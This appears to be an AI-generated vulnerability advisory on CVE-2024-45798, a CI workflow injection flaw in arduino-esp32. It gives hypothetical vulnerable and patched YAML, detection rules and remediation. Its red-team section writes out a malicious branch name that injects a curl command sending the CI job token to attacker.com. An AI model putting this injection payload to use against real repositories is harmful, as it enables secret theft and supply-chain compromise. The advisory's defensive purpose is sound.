CVE-2024-45798

Executive Summary

CVE-2024-45798 is a critical vulnerability affecting the arduino-esp32 Continuous Integration (CI) pipeline. The flaw encompasses two distinct Poisoned Pipeline Execution (PPE) attack vectors: a code injection vulnerability in the tests_results.yml workflow (GHSL-2024-169) and an environment variable injection vulnerability (GHSL-2024-170). These vulnerabilities allow an attacker with the ability to influence the CI pipeline (e.g., via a malicious pull request or compromised dependency) to execute arbitrary code within the CI runner environment. The CVSS score of 10.0 reflects the maximum severity due to the potential for complete compromise of the CI/CD pipeline, leading to supply chain attacks where malicious artifacts could be distributed to downstream users. The vendor has acknowledged the issue but the patch status is currently unknown, and users are advised to verify the contents of downloaded artifacts.

Supply Chain & Package Security

This vulnerability is a direct supply chain security threat. The arduino-esp32 core is a critical component for developers building firmware for ESP32 microcontrollers. A compromised CI pipeline could lead to the injection of malicious code into the Arduino core libraries, which would then be distributed to thousands of developers and embedded into countless IoT devices. The environment variable injection (GHSL-2024-170) is particularly dangerous as it can be used to manipulate build processes, exfiltrate secrets, or inject malicious dependencies. The lack of a confirmed patch and the advisory to manually verify artifacts underscores the severity of the supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Changed – The impact extends beyond the vulnerable component to the entire CI/CD pipeline and downstream users.
• Confidentiality (C): High – Complete disclosure of all secrets, source code, and artifacts.
• Integrity (I): High – Complete compromise of build artifacts and pipeline logic.
• Availability (A): High – The CI pipeline can be disrupted or used to deny service.

Threat Level: Critical. The vulnerability allows for full remote code execution within the CI environment, enabling supply chain attacks with widespread impact.

Deep Dive & Mechanics

The vulnerability is rooted in the arduino-esp32 CI pipeline, specifically in the tests_results.yml workflow. The two identified attack vectors are:

1. Code Injection (GHSL-2024-169): The tests_results.yml workflow likely processes untrusted input (e.g., from pull request metadata, commit messages, or branch names) without proper sanitization. An attacker can inject arbitrary shell commands or YAML directives into this workflow. For example, if the workflow uses a variable derived from a pull request title in a shell command, an attacker could craft a title like "; malicious_command ;" to execute arbitrary code.

2. Environment Variable Injection (GHSL-2024-170): The CI pipeline may set environment variables based on untrusted input. An attacker can inject malicious values into environment variables that are later used in security-sensitive operations (e.g., PATH, LD_PRELOAD, or custom build variables). This can lead to command injection, secret exfiltration, or manipulation of the build process.

The attack surface is the CI pipeline's exposure to external input. A typical attack scenario involves:

• An attacker forks the arduino-esp32 repository.
• The attacker submits a pull request with a malicious title, branch name, or commit message.
• The CI pipeline triggers, and the malicious input is processed by the vulnerable workflow.
• The injected code executes within the CI runner, allowing the attacker to:
  • Steal CI secrets (e.g., signing keys, API tokens).
  • Modify build artifacts to include backdoors.
  • Publish malicious releases to package registries.
  • Pivot to other systems accessible from the CI runner.

Vulnerable vs. Patched Code

Since the patch status is unknown and no specific code diff is publicly available, the following is a hypothetical example of the vulnerable pattern and a potential fix.

Vulnerable Code (Hypothetical tests_results.yml snippet):

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Process PR Title
        run: |
          PR_TITLE="${{ github.event.pull_request.title }}"
          echo "Processing: $PR_TITLE"
          # Vulnerable: Directly using PR_TITLE in a command
          eval "some_tool --input \"$PR_TITLE\""

Patched Code (Hypothetical fix):

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Process PR Title
        run: |
          # Sanitize input by escaping shell metacharacters
          PR_TITLE="${{ github.event.pull_request.title }}"
          SAFE_TITLE=$(echo "$PR_TITLE" | sed 's/[^a-zA-Z0-9 _-]//g')
          echo "Processing: $SAFE_TITLE"
          # Use safe variable
          some_tool --input "$SAFE_TITLE"

The key difference is the sanitization of the untrusted input before it is used in a shell command. The patched version uses sed to remove dangerous characters, preventing injection.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate code execution in the CI pipeline.

Prerequisites:

• A fork of the arduino-esp32 repository.
• Ability to create a pull request with a crafted title or branch name.

Exploitation Steps:

1. Fork the Repository: Fork arduino-esp32 on GitHub.
2. Create a Malicious Branch:

   git checkout -b '"; curl http://attacker.com/exfil?secret=$CI_JOB_TOKEN; #'
   

3. Make a Trivial Change: Modify a non-critical file (e.g., a README) to create a valid pull request.
4. Submit Pull Request: Create a pull request from the malicious branch.
5. Trigger CI: The CI pipeline will automatically trigger.
6. Observe Execution: The injected command curl http://attacker.com/exfil?secret=$CI_JOB_TOKEN will execute, exfiltrating the CI job token to the attacker's server.

Alternative Exploit (Environment Variable Injection):

1. Craft a Malicious PR Title: TEST_VAR=malicious_value
2. Submit PR: The CI pipeline sets an environment variable TEST_VAR from the PR title.
3. Trigger Exploit: If the pipeline later uses $TEST_VAR in a sensitive operation (e.g., eval $TEST_VAR), the attacker gains code execution.

Blue Team

Objective: Detect and prevent Poisoned Pipeline Execution attacks.

Detection Steps:

1. Monitor CI Logs: Look for unusual commands, network connections, or file modifications in CI logs. Specifically, monitor for:
   • curl, wget, nc calls to external IPs.
   • Unexpected eval, exec, or source commands.
   • Modifications to build artifacts or configuration files.
2. Audit Workflow Files: Regularly review all CI workflow files (.github/workflows/*.yml) for insecure patterns:
   • Direct use of github.event.* variables in shell commands.
   • Lack of input sanitization.
   • Use of eval or exec with untrusted data.
3. Implement Input Validation: Add strict validation for all external inputs (PR titles, branch names, commit messages) in CI workflows. Use allowlists of safe characters.
4. Use Least Privilege: Ensure CI tokens have minimal permissions. Use short-lived tokens and rotate them frequently.
5. Enable Audit Logging: Enable GitHub Actions audit logging to track all CI events.

Lab Setup for Testing:

1. Create a Test Repository: Create a private GitHub repository with a similar CI workflow.
2. Deploy a Mock CI Runner: Use a local or containerized runner to test safely.
3. Simulate Attacks: Submit test pull requests with malicious payloads and monitor the runner's behavior.
4. Validate Detections: Ensure your monitoring tools (e.g., SIEM, log aggregator) can detect the malicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from CI runners to unknown IP addresses or domains.
  • DNS queries for suspicious domains (e.g., attacker.com, exfil.example).
• File System IOCs:
  • Unexpected files in the CI workspace (e.g., /tmp/exploit.sh, malicious_binary).
  • Modified build artifacts with unexpected hashes.
• Process IOCs:
  • Execution of curl, wget, nc, bash, python with suspicious arguments.
  • Processes spawned by the CI runner that are not part of the normal build.
• Log IOCs:
  • CI log entries containing shell metacharacters (;, |, &, `).
  • Error messages related to command injection (e.g., "command not found" for injected commands).

Detection Engineering

YARA Rule

rule CVE_2024_45798_PPE_CI_Injection {
    meta:
        description = "Detects potential Poisoned Pipeline Execution in arduino-esp32 CI workflows"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-45798"
        severity = "critical"
    strings:
        $s1 = "github.event.pull_request.title" ascii nocase
        $s2 = "github.event.pull_request.head.ref" ascii nocase
        $s3 = "github.event.commits" ascii nocase
        $s4 = "eval" ascii nocase
        $s5 = "exec" ascii nocase
        $s6 = "source" ascii nocase
        $s7 = "`" ascii
        $s8 = "$(" ascii
    condition:
        (any of ($s1, $s2, $s3)) and (any of ($s4, $s5, $s6, $s7, $s8))
}

Sigma Rule

title: CVE-2024-45798 - Poisoned Pipeline Execution in arduino-esp32 CI
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious commands in CI logs indicative of PPE exploitation
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45798
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/bash'
            - '/sh'
            - '/curl'
            - '/wget'
        CommandLine|contains:
            - 'github.event.pull_request'
            - 'CI_JOB_TOKEN'
            - 'ACTIONS_RUNTIME_TOKEN'
    condition: selection
falsepositives:
    - Legitimate use of CI variables in scripts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45798 - Potential CI Exfiltration"; flow:to_server,established; content:"CI_JOB_TOKEN"; http_client_body; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Verify Artifacts: Manually verify the integrity of all downloaded arduino-esp32 artifacts. Compare checksums against trusted sources.
   • Audit CI Pipelines: Immediately review all CI workflow files for the vulnerable patterns described above.
   • Rotate Secrets: Rotate all CI secrets (tokens, keys, passwords) that may have been exposed.

2. Short-Term Mitigations:

   • Input Sanitization: Implement strict input validation for all external inputs in CI workflows. Use allowlists and escape shell metacharacters.
   • Disable Vulnerable Workflows: Temporarily disable the tests_results.yml workflow until a patch is applied.
   • Use Read-Only Tokens: Ensure CI tokens have the minimum necessary permissions (e.g., read-only access to the repository).

3. Long-Term Fixes:

   • Apply Vendor Patch: Monitor the arduino-esp32 repository for an official patch and apply it immediately.
   • Implement CI/CD Security Best Practices:
     • Use GitHub Actions' built-in env context securely.
     • Avoid using eval or exec with untrusted data.
     • Use actions/github-script for complex logic instead of shell commands.
     • Implement mandatory code reviews for all CI workflow changes.
   • Adopt Supply Chain Security Tools: Use tools like sigstore for artifact signing and verification.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only. Unauthorized exploitation of these vulnerabilities is illegal.